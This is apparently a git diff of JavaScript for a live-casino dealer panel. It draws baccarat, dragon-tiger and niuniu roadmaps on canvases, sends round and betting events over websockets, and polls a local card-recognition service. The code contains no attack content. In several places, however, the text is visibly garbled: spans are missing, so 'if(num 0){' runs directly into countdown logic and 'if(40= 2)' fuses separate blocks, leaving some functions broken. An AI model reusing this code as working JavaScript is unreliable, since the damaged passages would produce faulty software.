if(game_id==4||game_id==5){ + $(".begincard .box").animate({"opacity":"1"}); + $(".begincard .box1").animate({"top":"100%","opacity":"1"}); + $(".begincard .box2").animate({"top":"100%","opacity":"1"}); + $(".begincard .box3").animate({"top":"100%","opacity":"1"}); + $(".begincard .box4").animate({"top":"100%","opacity":"1"}); + } + $('.nobegin-tip').html(""); + $('#show-status-span').html(lang[BetStatus.bet_msg]); + }); + } + }else if(BetStatus.bet_status==1){ + $('.nobegin-tip').html(lang[BetStatus.bet_msg]); + $('#show-status-span').html(""); + }else{ + $('.nobegin-tip').html(lang[BetStatus.bet_msg]); + $('#show-status-span').html(""); + if(game_id == 5||game_id == 4){ + if(BetStatus.rob_status == 1){ + if(BetStatus.rob_status>=0){ + $('#number_rob_status').val(BetStatus.rob_status); + } + $('.nobegin-tip').html('抢庄中'); + }else if(BetStatus.rob_status == 2){ + if(BetStatus.rob_status>=0){ + $('#number_rob_status').val(BetStatus.rob_status); + } + $('.nobegin-tip').html('抢庄结束,开始下注'); + } + } + } +}; +// 获取桌子数据 +var setNumberInfo = function (round){ + number_tab_id = round.number_tab_id + $('#boot_num').html(round.boot_num); + $('#number').html(round.number_tab_number); + $('#boot_id').val(round.boot_id); +}; +// 重置下注数目 +var clearBetAmount = function (){ + $('#banker_amount').html(0); + $('#player_amount').html(0); + $('#tie_amount').html(0); + $('#banker_pair_amount').html(0); + $('#player_pair_amount').html(0); + $('#all_amount').html(0); +}; +//修改或者删除录单后从新获取number +var getNumber = function (){ + var query = new Object(); + query.number_tab_id = number_tab_id; + $.ajax({ + url:"/index/get_number", + type:"POST", + dataType:"JSON", + data:query, + async:false, + success:function(data){ + if(data.status == 1){ + $('#number').html(data.data); + } + } + }) +}; +function nextAudio(){ + num+=1 + if(num 0){ + mp3List = ['time.mp3']; + audioMp3(mp3List).Play(); + } + if(time<=0){ + // mp3List = ['end_rob.mp3']; + // audioMp3(mp3List).Play(); + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + webSocket.send('{"connect":"space","mode":"endRob","number_tab_id":"'+parseInt(number_tab_id)+'","table_id":"'+parseInt(table_id)+'"}'); + return; + } +} +function getTime() { + var today = new Date(); + var h = today.getHours(); + var minute = today.getMinutes() + var s = today.getSeconds(); + if (h < 10) { + h = "0" + h; + } + if (minute < 10) { + minute = "0" + minute; + } + if (s < 10) { + s = "0" + s; + } + if(lang.lang == 'en-us'){ + var strDate = new Date(); + strDate = strDate.toDateString() + strDate += " " + h + ":" + minute + ":" + s; + }else if(lang.lang == 'zh-cn'){ + var strDate = (" " + today.getFullYear() + "年" + (today.getMonth() + 1) + "月" + today.getDate() + "日" + h + ":" + minute + ":" + s); + }else if(lang.lang == 'zh-tw'){ + var strDate = (" " + today.getFullYear() + "年" + (today.getMonth() + 1) + "月" + today.getDate() + "日" + h + ":" + minute + ":" + s); + } + var n_day = today.getDay(); + switch (n_day) { + case 0: + var week = lang.sunday; + break; + case 1: + var week = lang.monday; + break; + case 2: + var week = lang.tuesday; + break; + case 3: + var week = lang.wednesday; + break; + case 4: + var week = lang.thursday; + break; + case 5: + var week = lang.friday; + break; + case 6: + var week = lang.saturday; + break; + case 7: + var week = lang.sunday; + break; + } + $('.date .weekend').html(week); + $('.date .time').html(strDate); +} +// 请求所有路单数据,执行画布刷新 +function waybillFunc(){ + var data = new Object; + data.boot_id = $('#boot_id').val(); + data.game_id = game_id; + var url="" + if(game_id==1||game_id==2){url="/index/waybill"} + else if(game_id==4||game_id==5){url="/index/waybill_nn"} + else if(game_id==6){url="/index/waybill_toning"} + $.ajax({ + url:url, + type:"POST", + dataType:"JSON", + data:data, + success:function(data){ + ludan = data; + requestData(ludan); + } + }); +} +function title(ctb,unit,x,y,type){ + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#000"; + var radius=unit/2||0; + if(type==1){ + fonts= 'Banker'; + var font_color = '#b20a00'; + }else if(type==2){ + fonts= 'P1'; + var font_color = '#0543bc'; + }else if(type==3){ + fonts= 'P2'; + var font_color = '#0543bc'; + }else if(type==4){ + fonts= 'P3'; + var font_color = '#0543bc'; + } + if(type == 1){ + var color = '#ffad97'; + }else{ + var color = '#73d8f7'; + } + //背景色 + ctb.fillStyle = color ; // 颜色 + ctb.fillRect(x,(y-1)*unit,unit*2-1,unit-0.5); + ctb.fill(); + //文字 + ctb.font=unit*0.5+"px Arial";//字的大小 + ctb.fillStyle = font_color ; // 颜色 + ctb.textAlign = 'center'; //字的位置 + ctb.textBaseline = 'middle'; + ctb.fillText(fonts,radius+unit*(x/2),radius+unit*(y-1)); + ctb.stroke(); +} +function requestData(data,ask,askroad){ + var ask=ask||false; + var askroad=askroad||{ + "askshowroad":false, + "askbigRoad":false, + "askbigEyeRoad":false, + "askpathway":false, + "askroach":false, + }; + bigH=$(".canvas-box.big").height(); + bigW=$(".canvas-box.big").width(); + // 计算单位 + unitbig=bigH/6; + // 计算列个数 + colbig=Math.floor(bigW/unitbig); + if(game_id==1){ CanvasTable("#canvas3",unitbig,6,colbig,data,ask,askroad);} + else if(game_id==2){CanvasTableDt("#canvas3",unitbig,6,colbig,data,ask,askroad);} + else if(game_id==4||game_id==5){ + unitbig=bigH/8; + colbig=Math.floor(bigW/unitbig); + if(colbig%2 == 1){ + colbig = colbig - 1; + } + CanvasTableNn("#canvas3",unitbig,8,colbig,data); + }else if(game_id==6){CanvasTableToning("#canvas3",unitbig,6,colbig,data,ask,askroad);} +} +/////百家乐珠路 +function CanvasTable(Id,unit,rows,cols,data,ask,askroad){ + var width=unit*cols, + height=unit*rows; + + $(Id).attr("width",width) + $(Id).attr("height",height) + var canvasId=$(Id); + var ctb=canvasId[0].getContext('2d'); + ctb.lineWidth = 1;//线条宽度 + ctb.strokeStyle = "#919191";//线条颜色 + ctb.beginPath(); + ctb.moveTo(0, 0.5); + ctb.lineTo(width, 0.5); + for (var i = 0; i <= rows; i++) { + ctb.moveTo(0, unit*i); + ctb.lineTo(width, unit*i); + } + ctb.closePath() + ctb.stroke(); + ctb.beginPath(); + ctb.moveTo(0.5, 0); + ctb.lineTo(0.5, height); + for (var j = 1; j <= cols; j++) { + ctb.moveTo(unit*j,0); + ctb.lineTo(unit*j,height); + } + ctb.closePath() + ctb.stroke(); + if(data.status){ + switch(true){ + // 判断是否滚动 + case Id=="#canvas3": + var showRoad=data.waybill.showRoad; + if(showRoad!=''){ + var roadType="showWay" + cutRoad(roadType,ctb,unit,showRoad,cols,ask,askroad.askshowroad); + + } + break; + } + } +} +//龙虎珠路 +function CanvasTableDt(Id,unit,rows,cols,data,ask,askroad){ + var width=unit*cols, + height=unit*rows; + + $(Id).attr("width",width) + $(Id).attr("height",height) + var canvasId=$(Id); + var ctb=canvasId[0].getContext('2d'); + ctb.lineWidth = 1;//线条宽度 + ctb.strokeStyle = "#919191";//线条颜色 + ctb.beginPath(); + ctb.moveTo(0, 0.5); + ctb.lineTo(width, 0.5); + for (var i = 0; i <= rows; i++) { + ctb.moveTo(0, unit*i); + ctb.lineTo(width, unit*i); + } + ctb.closePath() + ctb.stroke(); + ctb.beginPath(); + ctb.moveTo(0.5, 0); + ctb.lineTo(0.5, height); + for (var j = 1; j <= cols; j++) { + ctb.moveTo(unit*j,0); + ctb.lineTo(unit*j,height); + } + ctb.closePath() + ctb.stroke(); + if(data.status){ + switch(true){ + // 判断是否滚动 + case Id=="#canvas3": + var showRoad=data.waybill.showRoad; + if(showRoad!=''){ + var roadType="showWay" + cutRoad(roadType,ctb,unit,showRoad,cols,ask,askroad.askshowroad); + + } + break; + } + } +} +//色碟露珠 +function CanvasTableToning(Id,unit,rows,cols,data,ask,askroad){ + var width=unit*cols, + height=unit*rows; + + $(Id).attr("width",width) + $(Id).attr("height",height) + var canvasId=$(Id); + var ctb=canvasId[0].getContext('2d'); + ctb.lineWidth = 1;//线条宽度 + ctb.strokeStyle = "#919191";//线条颜色 + ctb.beginPath(); + ctb.moveTo(0, 0.5); + ctb.lineTo(width, 0.5); + for (var i = 0; i <= rows; i++) { + ctb.moveTo(0, unit*i); + ctb.lineTo(width, unit*i); + } + ctb.closePath() + ctb.stroke(); + ctb.beginPath(); + ctb.moveTo(0.5, 0); + ctb.lineTo(0.5, height); + for (var j = 1; j <= cols; j++) { + ctb.moveTo(unit*j,0); + ctb.lineTo(unit*j,height); + } + ctb.closePath() + ctb.stroke(); + if(data.status){ + switch(true){ + // 判断是否滚动 + case Id=="#canvas3": + var showRoad=data.waybill; + if(showRoad!=''){ + var roadType="showWay" + cutRoad(roadType,ctb,unit,showRoad,cols,ask,askroad.askshowroad); + } + break; + } + } +} +//牛牛珠路 +function CanvasTableNn(Id,unit,rows,cols,data){ + + var width=unit*cols, + height=unit*rows; + $(Id).attr("width",width) + $(Id).attr("height",height) + var canvasId=$(Id); + var ctb=canvasId[0].getContext('2d'); + ctb.lineWidth = 1;//线条宽度 + ctb.strokeStyle = "#919191";//线条颜色 + ctb.beginPath(); + ctb.moveTo(0, 0.5); + ctb.lineTo(width, 0.5); + for (var i = 0; i <= rows; i++) { + ctb.moveTo(0, unit*i); + ctb.lineTo(width, unit*i); + } + ctb.closePath() + ctb.stroke(); + ctb.beginPath(); + ctb.moveTo(0.5, 0); + ctb.lineTo(0.5, height); + for (var j = 1; j <= cols; j++) { + ctb.moveTo(unit*j*2,0); + ctb.lineTo(unit*j*2,height); + } + ctb.closePath() + ctb.stroke(); + + ctb.beginPath(); + ctb.lineWidth = 1.5;//线条宽度 + ctb.strokeStyle = "#000";//线条颜色 + ctb.moveTo(0, unit*4); + ctb.lineTo(width, unit*4); + ctb.moveTo(0, unit*8); + ctb.lineTo(width, unit*8); + ctb.closePath() + ctb.stroke(); + title(ctb,unit,1,1,1); + title(ctb,unit,1,2,2); + title(ctb,unit,1,3,3); + title(ctb,unit,1,4,4); + title(ctb,unit,1,5,1); + title(ctb,unit,1,6,2); + title(ctb,unit,1,7,3); + title(ctb,unit,1,8,4); + // title(ctb,unit,1,9,1); + // title(ctb,unit,1,10,2); + // title(ctb,unit,1,11,3); + // title(ctb,unit,1,12,4); + cutRoadNn(ctb,unit,data.waybill,cols); +} +// 前端路单数据截取 +function cutRoad(roadType,ctb,unit,roadData,cols,ask,askroad){ + var L=roadData.length; + var new_roadData=[]; + var Tab=0 + if(roadType=="showWay"||roadType=="bigWay"){ + if(ask&&askroad){ + Tab=cols; + }else{ + Tab=cols-1; + } + }else{ + if(ask&&askroad){ + Tab=cols-1; + }else{ + Tab=cols-2; + } + } + var start_x=cols/2+0.25; + if(L>=1){ + var last_x=roadData[L-1].show_x + if(last_x>Tab){ + var cut=last_x-Tab + $.each(roadData,function(i,v){ + if(v.show_x>cut){ + new_roadData.push(v) + } + }) + }else{ + new_roadData=roadData; + cut=0; + } + }else{ + new_roadData=roadData; + cut=0; + } + $.each(new_roadData,function(i,v){ + if(roadType=="showWay"){ + SoloPath(ctb,unit,v.show_x-cut,v.show_y,v.result,v.pair) + } + }) +} +////nn 前端路单数据截取 +function cutRoadNn(ctb,unit,data,cols){ + var L=data.length/4; + var new_roadData=[]; + var Tab=0; + last_x = (cols/2-1)*2-1; + if(L > (cols/2-1)*2-1){ + var cut = L - last_x; + $.each(data,function(i,v){ + if(v.show_x>cut){ + new_roadData.push(v) + } + }) + $.each(new_roadData,function(i,v){ + v.show_x = v.show_x - cut; + if(v.show_x<=(cols/2-1)){ + if(game_id == 4){ + showPath(ctb,unit,v.show_x,v.show_y,v.type,v.result,v.is_win); + }else if(game_id == 5){ + showPath_tc(ctb,unit,v.show_x,v.show_y,v.type,v.result,v.is_win); + } + }else if(v.show_x<=cols-2){ + if(game_id == 4){ + showPath(ctb,unit,v.show_x-(cols/2)+1,v.show_y+4,v.type,v.result,v.is_win); + }else if(game_id == 5){ + showPath_tc(ctb,unit,v.show_x-(cols/2)+1,v.show_y+4,v.type,v.result,v.is_win); + } + } + }) + }else{ + if(data){ + $.each(data,function(i,v){ + if(v.show_x<=(cols/2-1)){ + if(game_id == 4){ + showPath(ctb,unit,v.show_x,v.show_y,v.type,v.result,v.is_win); + }else if(game_id == 5){ + showPath_tc(ctb,unit,v.show_x,v.show_y,v.type,v.result,v.is_win); + } + }else if(v.show_x<=cols-2){ + if(game_id == 4){ + showPath(ctb,unit,v.show_x-(cols/2)+1,v.show_y+4,v.type,v.result,v.is_win); + }else if(game_id == 5){ + showPath_tc(ctb,unit,v.show_x-(cols/2)+1,v.show_y+4,v.type,v.result,v.is_win); + } + } + }) + } + } +} +// 局数 数,文字X坐标,文字Y坐标,文字大小风格 +function Font_tie(ctb,num,Font_x,Font_y,fontsize){ + if(num!==undefined){ + ctb.beginPath(); + ctb.font=fontsize; + ctb.textAlign = 'center'; + ctb.textBaseline = 'middle'; + ctb.fillStyle ="#242424"; + ctb.fillText(num,Font_x,Font_y); + ctb.stroke(); + } +} +function SoloPath(ctb,unit,x,y,type,corners){ + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#000"; + var radius=unit/2||0; + if (game_id == 6){ + if(type==0){ + var color='#5A5A5A'; + var fonts="0"; + ctb.strokeStyle = "#5A5A5A"; + }else if(type==1){ + var color='#5495F4'; + var fonts="1"; + ctb.strokeStyle = "#5495F4"; + }else if(type==2){ + var color='#70B252'; + var fonts="2"; + ctb.strokeStyle = "#70B252"; + }else if(type==3){ + var color='#F4BB4C'; + var fonts="3"; + ctb.strokeStyle = "#F4BB4C"; + }else if(type==4){ + var color='#E35C4C'; + var fonts="4"; + ctb.strokeStyle = "#E35C4C"; + } + } else { + if(type==1){ + var color='#ff002a'; + var fonts=""; + if(game_id==1){fonts=lang.banker;} + else if(game_id==2){ fonts=lang.dragon;} + ctb.strokeStyle = "#ff4a68"; + }else if(type==2){ + var color='#3a38f0'; + var fonts=""; + if(game_id==1){fonts=lang.player;} + else if(game_id==2){ fonts=lang.tiger;} + ctb.strokeStyle = "#7e7df6"; + }else if(type==3){ + var color='#44d024'; + var fonts=""; + if(game_id==1){fonts=lang.tie;} + else if(game_id==2){ fonts=lang.tie;} + ctb.strokeStyle = "#71df57"; + } + } + + ctb.arc(radius+unit*(x-1), radius+unit*(y-1), unit*0.45, 0, Math.PI * 2); + ctb.fillStyle=color; + ctb.fill(); + ctb.font=unit*0.6+"px Arial"; + ctb.fillStyle ="#fff" ; // 颜色 + ctb.textAlign = 'center'; + ctb.textBaseline = 'middle'; + ctb.fillText(fonts,radius+unit*(x-1),radius+unit*(y-1)); + ctb.stroke(); + var corner_xy=unit/3.5 + if(corners==1){ + corner(ctb,unit,x,y,corner_xy,'#ff2202'); + }else if(corners==2){ + corner(ctb,unit,x,y,-corner_xy,'#0337ff'); + }else if(corners==3){ + corner(ctb,unit,x,y,corner_xy,'#ff2202'); + corner(ctb,unit,x,y,-corner_xy,'#0337ff'); + } +} +//角标 +function corner(ctb,unit,x,y,corner_xy,corner_color){ + var radius=unit/2 + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#fff"; + ctb.arc(radius+unit*(x-1)-corner_xy, radius+unit*(y-1)-corner_xy, unit*0.13, 0, Math.PI * 2); + ctb.fillStyle=corner_color; + ctb.fill(); + ctb.stroke(); +} +/*牛牛*/ +function showPath(ctb,unit,x,y,type,result,is_win){ + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#000"; + var radius=unit/2||0; + if(type==1){ + var font_color = '#b20a00'; + }else{ + var font_color = '#1e14d3'; + } + if(result == 0){ + var fonts = 'N0'; + }else if(result == 1){ + var fonts = 'N1'; + }else if(result == 2){ + var fonts = 'N2'; + }else if(result == 3){ + var fonts = 'N3'; + }else if(result == 4){ + var fonts = 'N4'; + }else if(result == 5){ + var fonts = 'N5'; + }else if(result == 6){ + var fonts = 'N6'; + }else if(result == 7){ + var fonts = 'N7'; + }else if(result == 8){ + var fonts = 'N8'; + }else if(result == 9){ + var fonts = 'N9'; + }else if(result == 10){ + var fonts = 'NN'; + }else if(result == 11){ + var fonts = 'WG'; + } + //背景色 + if(is_win == 1){ + if(type == 1){ + ctb.fillStyle = '#b20a00' ; // 颜色 + }else{ + ctb.fillStyle = '#1e14d3' ; // 颜色 + } + ctb.fillRect(unit*x*2,unit*(y-0.25),unit*2,unit*0.25); + ctb.fill(); + win(ctb,unit,x,y); + } + //文字 + ctb.font=unit*0.45+"px Arial";//字的大小 + ctb.fillStyle = font_color ; // 颜色 + ctb.textAlign = 'center'; //字的位置 + ctb.textBaseline = 'middle'; + ctb.fillText(fonts,2*x*unit+unit,radius+unit*(y-1)); + ctb.stroke(); +} +/*三卡牛牛*/ +function showPath_tc(ctb,unit,x,y,type,result,is_win){ + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#000"; + var radius=unit/2||0; + if(type==1){ + var font_color = '#b20a00'; + }else{ + var font_color = '#1e14d3'; + } + if(result == 1){ + var fonts = '牛1'; + }else if(result == 2){ + var fonts = '牛2'; + }else if(result == 3){ + var fonts = '牛3'; + }else if(result == 4){ + var fonts = '牛4'; + }else if(result == 5){ + var fonts = '牛5'; + }else if(result == 6){ + var fonts = '牛6'; + }else if(result == 7){ + var fonts = '牛7'; + }else if(result == 8){ + var fonts = '牛8'; + }else if(result == 9){ + var fonts = '牛9'; + }else if(result == 10){ + var fonts = '牛牛'; + }else if(result == 11){ + var fonts = '豹子'; + }else if(result == 12){ + var fonts = '同花顺'; + }else if(result == 13){ + var fonts = '皇家同花顺'; + } + //背景色 + if(is_win == 1){ + if(type == 1){ + ctb.fillStyle = '#b20a00' ; // 颜色 + }else{ + ctb.fillStyle = '#1e14d3' ; // 颜色 + } + ctb.fillRect(unit*x*2,unit*(y-0.25),unit*2,unit*0.25); + ctb.fill(); + win(ctb,unit,x,y); + } + //文字 + if(result == 13){ + ctb.font=unit*0.38+"px Arial";//字的大小 + }else{ + ctb.font=unit*0.45+"px Arial";//字的大小 + } + + ctb.fillStyle = font_color ; // 颜色 + ctb.textAlign = 'center'; //字的位置 + ctb.textBaseline = 'middle'; + ctb.fillText(fonts,2*x*unit+unit,radius+unit*(y-1)); + ctb.stroke(); +} +function win(ctb,unit,x,y){ + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#000"; + var radius=unit/2||0; + fonts = 'WIN'; + ctb.font=unit*0.25+"px Arial";//字的大小 + ctb.fillStyle = '#fff' ; // 颜色 + ctb.textAlign = 'center'; //字的位置 + ctb.textBaseline = 'middle'; + ctb.fillText(fonts,2*x*unit+unit,unit*(y-0.11)); + ctb.stroke(); +} +function flop_position(data){ + pokercard=data.round.card; + pokersrc="/static/poker/"+pokercard+".png"; + $('.begincard .position-card .card').css("opacity",1); + $('.begincard .position-card .card').find(".face").css("background-image","url("+pokersrc+")"); + pokercard = parseInt(pokercard); + var _position = (pokercard % 100) % 4; + switch (_position) { + case 0: + $('.box1').css("background-color","rgba(226, 212, 71, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + break; + case 1: + $('.box2').css("background-color","rgba(226, 212, 71, 0.5)"); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + break; + case 2: + $('.box3').css("background-color","rgba(226, 212, 71, 0.5)"); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + break; + case 3: + $('.box4').css("background-color","rgba(226, 212, 71, 0.5)"); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + break; + } +} +function flop_card(data){ + order_num = data.round.order_num; + card_cow = order_num.substring(0,1); + card_list = order_num.substring(1,2) - 1; + if(card_cow == 1){ + box_name = 'player-1-card'; + if(data.round.result){ + $('.player_1_result').html(data.round.result); + } + }else if(card_cow == 2){ + box_name = 'player-2-card'; + if(data.round.result){ + $('.player_2_result').html(data.round.result); + } + }else if(card_cow == 3){ + box_name = 'player-3-card'; + if(data.round.result){ + $('.player_3_result').html(data.round.result); + } + }else if(card_cow == 4){ + box_name = 'banker-card'; + if(data.round.result){ + $('.banker_result').html(data.round.result); + } + } + if(40= 2) { + query.card = poker; + query.position = position[card.index - 1]; + + sendScanBaccarat(query); + + } else { + if (_cardRecord['card'] != poker) { + _cardRecord['card'] = poker; + _cardRecord['time'] = 1; + } else { + _cardRecord['time']++; + } + cardScanRecord[card.index] = _cardRecord; + } + } + } + } + + } + }); + //} + + }, 250); + + console.log('scan cards stop...'); +} + +function doDtScanCards() { + var card = new Object(); + card.casinoTableId = casinoTableId; + + // 用局部变量 + var cardScanRecord = new Array(); + //var scanPosition = 1; + + var dtPosition = [21, 11]; + + card.count = 2; + + var api = '/recognition_multi'; + + scanTask = setInterval(function() { + console.log('scan cards start...'); + + //if(!stopScan){ + $.ajax({ + url: localSbServer + api, + type: 'POST', + dataType: 'JSON', + data: JSON.stringify(card), + success: function(data) { + if (data.code == '2000') { + console.log(data.poker); + + // Dragon: 21 + // Tiger: 11 + + var cards = spCard(data.poker); + cards.forEach(function (v, k) { + var query = new Object(); + + if (!v.includes('n')) { + if (cardScanRecord[k] === undefined) { + var _cardRecord = new Object(); + _cardRecord['card'] = v; + _cardRecord['time'] = 1; + cardScanRecord[k] = _cardRecord; + } else { + _cardRecord = cardScanRecord[k]; + if (_cardRecord['card'] == v && _cardRecord['time'] >= 2) { + query.card = v; + query.position = dtPosition[k]; + + sendScanDt(query); + + } else { + if (_cardRecord['card'] != v) { + _cardRecord['card'] = v; + _cardRecord['time'] = 1; + } else { + _cardRecord['time']++; + } + cardScanRecord[k] = _cardRecord; + } + } + } + + }); + + } + + } + }); + //} + + }, 200); + + console.log('scan cards stop...'); +} + +function doNnScanPositionCard() { + var card = new Object(); + card.casinoTableId = casinoTableId; + card.index = 21; //先扫定位牌 + var cardScanRecord = new Array(); + + var api = '/recognition'; + + positionScanTask = setInterval(function() { + console.log('scan postion[21] card start...postion:' + scanPosition); + $.ajax({ + url: localSbServer + api, + type: 'POST', + dataType: 'JSON', + data: JSON.stringify(card), + success: function(data) { + + if (data.code == '2000') { + console.log(data.poker); + if (!data.poker.includes('n')) { + var poker = formatCardData(data.poker); + var query = new Object(); + query.card = poker; + if (cardScanRecord[card.index] === undefined) { + var _cardRecord = new Object(); + _cardRecord['card'] = poker; + _cardRecord['time'] = 1; + cardScanRecord[card.index] = _cardRecord; + } else { + _cardRecord = cardScanRecord[card.index]; + if (_cardRecord['card'] == poker && _cardRecord['time'] >= 3) { + //if (true) { + if (scanPosition == 21) { + query.position = 0; + sendScanNn(query); + + positionCard = parseInt(poker); + scanPosition = (positionCard % 100) % 4; + switch (scanPosition) { + case 2: + scanPosition = 6; + scanDefaultPosition = 'P2'; + $('.box3').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + case 3: + scanPosition = 11; + scanDefaultPosition = 'P3'; + $('.box4').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + case 0: + scanPosition = 16; + scanDefaultPosition = 'B'; + $('.box1').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + default: + scanPosition = 1; + scanDefaultPosition = 'P1'; + $('.box2').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + } + + isPositionScaned = true; + + console.log('scan postion[21] card end and sent ' + poker); + clearInterval(positionScanTask); + positionScanTask = null; + } + } else { + if (_cardRecord['card'] != poker) { + _cardRecord['card'] = poker; + _cardRecord['time'] = 1; + } else { + _cardRecord['time']++; + } + cardScanRecord[card.index] = _cardRecord; + } + } + + } + } + } + }); + + }, 100); +} + +function doNnScanCards() { + + //var position = ['11', '12', '21', '22', '13', '23']; + var card = new Object(); + card.casinoTableId = casinoTableId; + //card.index = 21; //先扫定位牌 + + var cardScanRecord = new Array(); + + var api = '/recognition'; + + scanTask = setInterval(function() { + console.log('scan cards start...postion:' + scanPosition); + + if (!isPositionScaned || positionScanTask != null || scanPosition == 0) { + console.log('定位牌未扫描。'); + return false; + } + card.index = scanPosition; + + $.ajax({ + url: localSbServer + api, + type: 'POST', + dataType: 'JSON', + data: JSON.stringify(card), + success: function(data) { + if (data.code == '2000') { + console.log(data.poker); + if (!data.poker.includes('n')) { + var poker = formatCardData(data.poker); + var query = new Object(); + query.card = poker; + + if (cardScanRecord[card.index] === undefined) { + var _cardRecord = new Object(); + _cardRecord['card'] = poker; + _cardRecord['time'] = 1; + cardScanRecord[card.index] = _cardRecord; + } else { + _cardRecord = cardScanRecord[card.index]; + if (_cardRecord['card'] == poker && _cardRecord['time'] >= 3) { + //if (true) { + if (scanPosition == 21) { + query.position = 0; + } + sendScanNn(query); + } else { + if (_cardRecord['card'] != poker) { + _cardRecord['card'] = poker; + _cardRecord['time'] = 1; + } else { + _cardRecord['time']++; + } + cardScanRecord[card.index] = _cardRecord; + } + } + + } + } + } + }); + }, 200); + console.log('scan cards stop...'); +} + + +function spCard(data) { + var cc = data.split('_'); + cc.forEach(function (v, k) { + if (!v.includes('n')) { + cc[k] = formatCardData(v); + } + }); + return cc; +} +function formatCardData(card) { + // card: b-1 + var s = card.substr(0, 1); + var c = card.substr(2, 1); + var h = ''; + var n = ''; + switch(s) { + case 'b':h = '1';break; + case 'r':h = '2';break; + case 'm':h = '3';break; + default:h = '4';break; + } + switch(c) { + case '1': n = '01'; break; + case '2': n = '02'; break; + case '3': n = '03'; break; + case '4': n = '04'; break; + case '5': n = '05'; break; + case '6': n = '06'; break; + case '7': n = '07'; break; + case '8': n = '08'; break; + case '9': n = '09'; break; + case '0': n = '10'; break; + case 'j': n = '11'; break; + case 'q': n = '12'; break; + default : n = '13'; break; + } + var result = h + n; + return result; +} \ No newline at end of file diff --git a/public/static/handle/js/handle_b.js b/public/static/handle/js/handle_b.js new file mode 100644 index 0000000..79a1e97 --- /dev/null +++ b/public/static/handle/js/handle_b.js @@ -0,0 +1,1912 @@ +var userid = parseInt($('#userid').val()); +var login_token = $('#login_token').val(); +var table_id = parseInt($('#table_id').val()); +var game_id = parseInt($('#game_id').val()); +var account = $('#account').val(); +var number_tab_id; +var ludan; +var isCBoot = false; +var isopentime = false; +var num = 0; +var card_info=[]; +var isWin={ + win_player_1:null, + win_player_2:null, + win_player_3:null, + text:[] +}; + +var websocket = io(websocketProtocol+"://"+websocketUrl+"/?table_id="+table_id+"&account="+account+"&connect=space&userid="+userid+"&login_token="+login_token,{transports: ['websocket']}); +websocket.on('reconnecting', (timeout) => { + //触发重连 + layer.msg('服务断开,正在重新连接...', { + icon: 16, + shade: 0.6, + time:0, + }); +}); +websocket.on('reconnect', (timeout) => { + //重连成功 + layer.closeAll(); + layer.msg('服务重新连接成功'); +}); +//事件 发送******************************************************************************************************************* +var startBet = function(){ + websocket.emit('startBet',{table_id : table_id, number_tab_id : number_tab_id}); +}; +var endBet = function (){ + websocket.emit('endBet',{table_id : table_id, number_tab_id : number_tab_id}); +}; +var startRob = function(){ + websocket.emit('startRob',{table_id : table_id, number_tab_id : number_tab_id}); +}; +var endRob = function(){ + websocket.emit('endRob',{table_id : table_id, number_tab_id : number_tab_id}); +}; +var resetNumberTab = function(){ + isCBoot = true; + var betStatus = $("#number_tab_status").val(); + if(betStatus == 1 || betStatus == 2){ + layer.confirm(lang.is_reset_number,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + websocket.emit('resetNumberTab',{table_id : table_id}); + isCBoot = false; + layer.close(index); + },function(index){ + isCBoot = false; + }); + }else{ + layer.msg(lang.reset_number_fail_3); + } +}; +var changeBoot = function(){ + isCBoot = true; + var betStatus = $("#number_tab_status").val(); + if(betStatus == 0 || betStatus == 3){ + layer.confirm(lang.is_to_boot,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + websocket.emit('changeBoot',{table_id : table_id}); + isCBoot = false; + layer.close(index); + },function(index){ + isCBoot = false; + }); + }else{ + layer.msg(lang.change_boot_false); + } +}; +var resetBoot = function(){ + layer.confirm(lang.is_to_balance,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + websocket.emit('resetBoot',{table_id : table_id}); + layer.close(index); + }); +}; +var opening = function(){ + $('.control-box .btn-box2 span').removeClass('on'); + if(game_id == 1){ + var opening = $('#opening').val(); + var banker_pair = $('#result_banker_pair').val(); + var player_pair = $('#result_player_pair').val(); + if(opening > 0){ + websocket.emit('openingBaccarat',{table_id : table_id, number_tab_id : number_tab_id,opening : opening,banker_pair : banker_pair,player_pair:player_pair,luck_six:0}); + } + }else if(game_id == 2){ + var opening = $('#opening').val(); + if(opening > 0){ + websocket.emit('openingDt',{table_id : table_id, number_tab_id : number_tab_id,bet:opening}); + } + } +}; + +var retreated = function(){ + var result = $('#update_ludan_result').val(); + if(result){ + layer.msg('修改结果中...', { + icon: 16, + shade: 0.6, + time:0, + }); + var result_arr = result.split('-'); + if(game_id == 1){ + var opening = result_arr[0]; + var pair = result_arr[1]; + websocket.emit('resetBaccarat',{table_id : table_id, number_tab_id : number_tab_id,opening : opening,pair : pair,luck_six:0}); + + }else if(game_id == 2){ + var opening = result_arr[0]; + websocket.emit('resetDt',{table_id : table_id, number_tab_id : number_tab_id,opening:opening}); + + } + } + + +} + +//事件 发送******************************************************************************************************************* +//事件返回********************************************************************************************************************* +websocket.on('onlineLogin',function(data){ + if (data.table_id === table_id) { + if(data.status === true){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status) 